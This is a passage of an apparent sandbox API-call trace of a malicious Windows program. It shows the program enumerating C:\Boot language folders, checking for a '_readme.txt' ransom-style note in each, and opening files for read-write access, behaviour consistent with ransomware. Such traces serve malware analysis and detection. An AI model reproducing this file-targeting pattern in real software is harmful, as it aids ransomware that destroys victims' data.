lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.569] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.569] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.569] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.569] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.570] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.570] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.570] PathFindFileNameW (pszPath="") returned="" [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.570] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.570] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.570] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.570] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.570] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8230 [0059.571] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.571] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.571] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.571] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.571] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.571] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0059.571] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.571] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.571] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.571] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned=".txt" [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.572] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.572] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.572] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.572] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.576] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.576] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0059.576] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.576] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.576] PathFindFileNameW (pszPath="") returned="" [0059.576] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.577] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.577] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.577] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.577] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0059.577] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0059.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.577] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.577] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.577] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.577] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, 